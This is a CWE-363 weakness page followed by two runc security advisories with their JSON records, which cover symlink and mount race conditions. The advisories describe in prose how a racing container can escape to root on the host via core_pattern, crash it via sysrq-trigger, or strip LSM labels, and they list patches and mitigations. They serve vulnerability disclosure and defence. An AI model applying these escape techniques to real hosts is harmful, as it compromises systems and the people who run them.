Common Weakness Enumeration

CWE-363

Weakness Allowed

Race Condition Enabling Link Following

Abstraction: Base · Status: Draft

The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.

Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Relationships and members
ChildOf: CWE-367 · View CWE-1000
CanPrecede: CWE-59 · View CWE-1000
Modes of introduction
Implementation

Developers might assume that there is a very narrow time window between the time of check and time of use, but there is still a race condition.

Implementation
Detection methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Notes

Relationship

This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Other_Notes, Relationships

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-12-13 · CWE 1.11

updated Other_Notes, Relationship_Notes

Modification: CWE Content Team · MITRE · 2011-03-29 · CWE 1.12

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Detection_Factors, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Common_Consequences, Description, Modes_of_Introduction, Time_of_Introduction

29 vulnerabilities reference this CWE, most recent first.

GHSA-9493-H29P-RFM2

Vulnerability from github – Published: 2025-11-05 16:37 – Updated: 2025-11-18 18:36
VLAI
Summary
runc container escape via "masked path" abuse due to mount race conditions
Details

Impact ###

The OCI runtime specification has a maskedPaths feature that allows for files or directories to be "masked" by placing a mount on top of them to conceal their contents. This is primarily intended to protect against privileged users in non-user-namespaced from being able to write to files or access directories that would either provide sensitive information about the host to containers or allow containers to perform destructive or other privileged operations on the host (examples include /proc/kcore, /proc/timer_list, /proc/acpi, and /proc/keys).

maskedPaths can be used to either mask a directory or a file -- directories are masked using a new read-only tmpfs instance that is mounted on top of the masked path, while files are masked by bind-mounting the container's /dev/null on top of the masked path.

In all known versions of runc, when using the container's /dev/null to mask files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container's /dev/null) was actually a real /dev/null inode. While /dev/null is usually created by runc when doing container creation, it is possible for an attacker to create a /dev/null or modify the /dev/null inode created by runc through race conditions with other containers sharing mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured).

This could lead to two separate issues:

Attack 1: Arbitrary Mount Gadget (leading to Host Information Disclosure, Host Denial of Service, or Container Escape) ####

By replacing /dev/null with a symlink to an attacker-controlled path, an attacker could cause runc to bind-mount an arbitrary source path to a path inside the container. This could lead to:
* Host Denial of Service: By bind-mounting files such as /proc/sysrq-trigger, the attacker can gain access to a read-write version of files which can be destructive to write to (/proc/sysrq-trigger would allow an attacker to trigger a kernel panic, shutting down the machine, or causing the machine to freeze without rebooting).
* Container Escape: By bind-mounting /proc/sys/kernel/core_pattern, the attacker can reconfigure a coredump helper -- as kernel upcalls are not namespaced, the configured binary (which could be a container binary or a host binary with a malicious command-line) will run with full privileges on the host system. Thus, the attacker can simply trigger a coredump and gain complete root privileges over the host.

Note that while config.json allows users to bind-mount arbitrary paths (and thus an attacker that can modify config.json arbitrarily could gain the same access as this exploit), because maskedPaths is applied by almost all higher-level container runtimes (and thus provides a guaranteed mount source) this flaw effectively allows any attacker that can spawn containers (with some degree of control over what kinds of containers are being spawned) to achieve the above goals.

Attack 2: Bypassing maskedPaths ####

While investigating Attack 1, runc discovered that the runc validation mechanism when bind-mounting /dev/null for maskedPaths would ignore ENOENT errors -- meaning that if an attacker deleted /dev/null before runc did the bind-mount, runc would silently skip applying maskedPaths for the container. (The original purpose of this ENOENT-ignore behaviour was to permit configurations where maskedPaths references non-existent files, but runc did not consider that the source path could also not exist in this kind of race-attack scenario.)

With maskedPaths rendered inoperative, an attacker would be able to access sensitive host information from files in /proc that would usually be masked (such as /proc/kcore). However, note that /proc/sys and /proc/sysrq-trigger are mounted read-only rather than being masked with files, so this attack variant will not allow the same breakout or host denial of service attacks as in Attack 1.

Patches ###

This advisory is being published as part of a set of three advisories:
* CVE-2025-31133 * CVE-2025-52881 * CVE-2025-52565

The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:
* db19bbed5348 ("internal/sys: add VerifyInode helper")
* 8476df83b534 ("libct: add/use isDevNull, verifyDevNull")
* 1a30a8f3d921 ("libct: maskPaths: only ignore ENOENT on mount dest")
* 5d7b24240724 ("libct: maskPaths: don't rely on ENOTDIR for mount")

runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md

Mitigations ###

  • Use containers with user namespaces (with the host root user not mapped into the container's user namespace). This will block most of the most serious aspects of these attacks, as the procfs files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.

runc would also like to take this opportunity to re-iterate that runc strongly recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation inside the container -- most container runtimes apply a seccomp-bpf profile which blocks unshare(CLONE_NEWUSER) inside containers regardless of whether the container itself uses user namespaces.

Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc.

  • For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling noNewPrivileges to disable any setuid or set-capability binaries. (Note that this is runc's general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use ping in your containers, there is a net.ipv4.ping_group_range sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries.
  • Do not run untrusted container images from unknown or unverified sources.
  • Depending on the configuration of maskedPaths, an AppArmor profile (such as the default one applied by higher level runtimes including Docker and Podman) can block write attempts to most of /proc and /sys. This means that even with a procfs file maliciously bind-mounted to a maskedPaths target, all of the targets of maskedPaths in the default configuration of runtimes such as Docker or Podman will still not permit write access to said files. However, if a container is configured with a maskedPaths that is not protected by AppArmor then the same attack can be carried out. Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881.
  • Based on runc's analysis, SELinux policies have a limited effect when trying to protect against this attack. The reason is that the /dev/null bind-mount gets implicitly relabelled with context=... set to the container's SELinux context, and thus the container process will have access to the source of the bind-mount even if they otherwise wouldn't.
    https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm

Other Runtimes ###

As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a coordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but their security stance is (understandably) that non-user-namespaced containers are fundamentally insecure by design.
https://linuxcontainers.org/lxc/security/

Credits ###

Thanks to Lei Wang (@ssst0n3 from Huawei) for finding and reporting the original vulnerability (Attack 1), and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering another attack vector (Attack 2) based on @ssst0n3's initial findings.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0-rc.1"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0-rc.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0-rc.1"
            },
            {
              "fixed": "1.4.0-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T16:37:15Z",
    "nvd_published_at": "2025-11-06T19:15:41Z",
    "severity": "HIGH"
  },
  "details": "### Impact ###  \nThe OCI runtime specification has a `maskedPaths` feature that allows for files or directories to be \"masked\" by placing a mount on top of them to conceal their contents. This is primarily intended to protect against privileged users in non-user-namespaced from being able to write to files or access directories that would either provide sensitive information about the host to containers or allow containers to perform destructive or other privileged operations on the host (examples include `/proc/kcore`, `/proc/timer_list`, `/proc/acpi`, and `/proc/keys`).  \n\n`maskedPaths` can be used to either mask a directory or a file -- directories are masked using a new read-only `tmpfs` instance that is mounted on top of the masked path, while files are masked by bind-mounting the container\u0027s `/dev/null` on top of the masked path.  \n\nIn all known versions of runc, when using the container\u0027s `/dev/null` to mask files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container\u0027s `/dev/null`) was actually a real `/dev/null` inode. While `/dev/null` is usually created by runc when doing container creation, it is possible for an attacker to create a `/dev/null` or modify the `/dev/null` inode created by runc through race conditions with other containers sharing mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with `docker buildx build` as that also permits triggering parallel execution of containers with custom shared mounts configured).  \n\nThis could lead to two separate issues:  \n\n#### Attack 1: Arbitrary Mount Gadget (leading to Host Information Disclosure, Host Denial of Service, or Container Escape) ####  \nBy replacing `/dev/null` with a symlink to an attacker-controlled path, an attacker could cause runc to bind-mount an arbitrary source path to a path inside the container. This could lead to:  \n* **Host Denial of Service**: By bind-mounting files such as `/proc/sysrq-trigger`, the attacker can gain access to a read-write version of files which can be destructive to write to (`/proc/sysrq-trigger` would allow an attacker to trigger a kernel panic, shutting down the machine, or causing the machine to freeze without rebooting).  \n* **Container Escape**: By bind-mounting `/proc/sys/kernel/core_pattern`, the attacker can reconfigure a coredump helper -- as kernel upcalls are not namespaced, the configured binary (which could be a container binary or a host binary with a malicious command-line) will run with full privileges on the host system. Thus, the attacker can simply trigger a coredump and gain complete root privileges over the host.  \n\nNote that while `config.json` allows users to bind-mount arbitrary paths (and thus an attacker that can modify `config.json` arbitrarily could gain the same access as this exploit), because `maskedPaths` is applied by almost all higher-level container runtimes (and thus provides a guaranteed mount source) this flaw effectively allows any attacker that can spawn containers (with some degree of control over what kinds of containers are being spawned) to achieve the above goals. \n\n#### Attack 2: Bypassing `maskedPaths` ####  \nWhile investigating Attack 1, runc discovered that the runc validation mechanism when bind-mounting `/dev/null` for `maskedPaths` would ignore `ENOENT` errors -- meaning that if an attacker deleted `/dev/null` before runc did the bind-mount, runc would silently skip applying `maskedPaths` for the container. (The original purpose of this `ENOENT`-ignore behaviour was to permit configurations where `maskedPaths` references non-existent files, but runc did not consider that the source path could also not exist in this kind of race-attack scenario.)  \n\nWith `maskedPaths` rendered inoperative, an attacker would be able to access sensitive host information from files in `/proc` that would usually be masked (such as `/proc/kcore`). However, note that `/proc/sys` and `/proc/sysrq-trigger` are mounted read-only rather than being masked with files, so this attack variant will not allow the same breakout or host denial of service attacks as in Attack 1. \n\n### Patches ###  \nThis advisory is being published as part of a set of three advisories:  \n* CVE-2025-31133\n* CVE-2025-52881\n* CVE-2025-52565\n\nThe patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:  \n* db19bbed5348 (\"internal/sys: add VerifyInode helper\")  \n* 8476df83b534 (\"libct: add/use isDevNull, verifyDevNull\")  \n* 1a30a8f3d921 (\"libct: maskPaths: only ignore ENOENT on mount dest\")  \n* 5d7b24240724 (\"libct: maskPaths: don\u0027t rely on ENOTDIR for mount\")  \n\nrunc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per [runc\u0027s new release model](https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md), runc 1.1.x and earlier are no longer supported and thus have not been patched.  https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md  \n\n### Mitigations ###  \n- Use containers with user namespaces (with the host root user not mapped into the container\u0027s user namespace). This will block most of the most serious aspects of these attacks, as the `procfs` files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.\n\n  runc would also like to take this opportunity to re-iterate that runc **strongly** recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation *inside* the container -- most container runtimes apply a seccomp-bpf profile which blocks `unshare(CLONE_NEWUSER)` inside containers regardless of whether the container itself uses user namespaces.\n\n  Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. \n\n- For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling `noNewPrivileges` to disable any setuid or set-capability binaries. (Note that this is runc\u0027s general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use `ping` in your containers, there is a `net.ipv4.ping_group_range` sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries.  \n - Do not run untrusted container images from unknown or unverified sources.  \n - Depending on the configuration of `maskedPaths`, an AppArmor profile (such as the default one applied by higher level runtimes including Docker and Podman) can block write attempts to most of `/proc` and `/sys`. This means that even with a procfs file maliciously bind-mounted to a `maskedPaths` target, all of the targets of `maskedPaths` in the default configuration of runtimes such as Docker or Podman will still not permit write access to said files. However, if a container is configured with a `maskedPaths` that is not protected by AppArmor then the same attack can be carried out. Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881.  \n - Based on runc\u0027s analysis, SELinux policies have a limited effect when trying to protect against this attack. The reason is that the `/dev/null` bind-mount gets implicitly relabelled with `context=...` set to the container\u0027s SELinux context, and thus the container process will have access to the source of the bind-mount even if they otherwise wouldn\u0027t.  \nhttps://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm  \n\n### Other Runtimes ###  \nAs this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a coordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but [their security stance](https://linuxcontainers.org/lxc/security/) is (understandably) that non-user-namespaced containers are fundamentally insecure by design.  \nhttps://linuxcontainers.org/lxc/security/  \n\n### Credits ###  \nThanks to Lei Wang (@ssst0n3 from Huawei) for finding and reporting the original vulnerability (Attack 1), and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering another attack vector (Attack 2) based on @ssst0n3\u0027s initial findings.",
  "id": "GHSA-9493-h29p-rfm2",
  "modified": "2025-11-18T18:36:38Z",
  "published": "2025-11-05T16:37:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/1a30a8f3d921acbbb6a4bb7e99da2c05f8d48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/5d7b2424072449872d1cd0c937f2ca25f418eb66"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/8476df83b534a2522b878c0507b3491def48db9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/db19bbed5348847da433faa9d69e9f90192bfa64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencontainers/runc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "runc container escape via \"masked path\" abuse due to mount race conditions"
}

GHSA-CGRX-MC8F-2PRM

Vulnerability from github – Published: 2025-11-05 18:40 – Updated: 2025-11-18 18:38
VLAI
Summary
runc container escape and denial of service due to arbitrary write gadgets and procfs write redirects
Details

Impact

This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files.

Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work.

In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts.

Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs.

Additional Impacts

While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash.

When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang.

Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks.

Patches

This advisory is being published as part of a set of three advisories:

  • CVE-2025-31133
  • CVE-2025-52881
  • CVE-2025-52565

The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:

  • db19bbed5348 ("internal/sys: add VerifyInode helper")
  • 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs")
  • ff94f9991bd3 ("*: switch to safer securejoin.Reopen")
  • 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0")
  • 77889b56db93 ("internal: add wrappers for securejoin.Proc*")
  • fdcc9d3cad2f ("apparmor: use safe procfs API for labels")
  • ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code")
  • b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle")
  • 77d217c7c377 ("init: write sysctls using safe procfs API")
  • 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups")
  • d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat")
  • 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions")
  • d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets")
  • ed6b1693b8b3 ("selinux: use safe procfs API for labels")
  • Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue).

    The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely.

    See https://github.com/opencontainers/selinux/pull/237 for the upstream patch. * 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") * a41366e74080 ("openat2: improve resilience on busy systems")

runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched.

Mitigations

  • Do not run untrusted container images from unknown or unverified sources.

  • For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup.

  • For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks.

  • Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally).

Other Runtimes

As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability.

Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks).

Credits

Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions.

Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/selinux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0-rc.1"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0-rc.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0-rc.1"
            },
            {
              "fixed": "1.4.0-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T18:40:40Z",
    "nvd_published_at": "2025-11-06T21:15:42Z",
    "severity": "HIGH"
  },
  "details": "### Impact ###\n\nThis attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy `tmpfs` file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files.\n\nRather than using a fake `tmpfs` file for `/proc/self/attr/\u003clabel\u003e`, an attacker could instead (through various means) make `/proc/self/attr/\u003clabel\u003e` reference a real `procfs` file, but one that would still be a no-op (such as `/proc/self/sched`). This would have the same effect but would clear the \"is a procfs file\" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as \"future work\" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work.\n\nIn all known versions of runc, an attacker can trick runc into misdirecting writes to `/proc` to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with `docker buildx build` as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a `tmpfs` or theoretically other methods such as regular bind-mounts.\n\nNote that while `/proc/self/attr/\u003clabel\u003e` was the example used above (which is LSM-specific), this issue affect all writes to `/proc` in runc and thus also affects sysctls (written to `/proc/sys/...`) and some other APIs.\n\n#### Additional Impacts ####\n\nWhile investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as `/proc/sysrq-trigger` rather than just no-op files like `/proc/self/sched`. For instance, the default AppArmor profile name in Docker is `docker-default`, which when written to `/proc/sysrq-trigger` would cause the host system to crash.\n\nWhen this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to `/proc/sys/kernel/core_pattern` and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to `/proc/sysrq-trigger`) can easily cause the machine to hang.\n\nNote that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks.\n\n### Patches ###\n\nThis advisory is being published as part of a set of three advisories:\n\n  * CVE-2025-31133\n  * CVE-2025-52881\n  * CVE-2025-52565\n\nThe patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:\n\n * db19bbed5348 (\"internal/sys: add VerifyInode helper\")\n * 6fc191449109 (\"internal: move utils.MkdirAllInRoot to internal/pathrs\")\n * ff94f9991bd3 (\"*: switch to safer securejoin.Reopen\")\n * 44a0fcf685db (\"go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0\")\n * 77889b56db93 (\"internal: add wrappers for securejoin.Proc*\")\n * fdcc9d3cad2f (\"apparmor: use safe procfs API for labels\")\n * ff6fe1324663 (\"utils: use safe procfs for /proc/self/fd loop code\")\n * b3dd1bc562ed (\"utils: remove unneeded EnsureProcHandle\")\n * 77d217c7c377 (\"init: write sysctls using safe procfs API\")\n * 435cc81be6b7 (\"init: use securejoin for /proc/self/setgroups\")\n * d61fd29d854b (\"libct/system: use securejoin for /proc/$pid/stat\")\n * 4b37cd93f86e (\"libct: align param type for mountCgroupV1/V2 functions\")\n * d40b3439a961 (\"rootfs: switch to fd-based handling of mountpoint targets\")\n * ed6b1693b8b3 (\"selinux: use safe procfs API for labels\")\n   - Please note that this patch includes a private patch for `github.com/opencontainers/selinux` that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue).\n\n     The patch includes a complete copy of the forked code and a `replace` directive (as well as `go mod vendor` applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely.\n\n     See 